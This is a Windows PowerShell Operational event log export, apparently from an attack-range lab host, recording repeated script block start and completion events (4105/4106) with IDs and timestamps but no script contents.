ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025636
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025635
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025634
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025633
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025632
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025631
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025630
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025629
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025628
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025626
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025625
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025624
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025623
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025622
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025621
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025620
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025619
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025618
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025617
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025616
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025615
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025614
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025613
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025612
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025611
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025610
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025609
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025608
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025607
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025606
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025605
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025604
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025603
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025602
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025601
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025600
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025599
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025598
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025597
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025596
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025595
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025594
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025593
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025592
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025591
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025590
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025589
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025588
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025587
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025586
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025585
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025584
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025583
Keywords=None
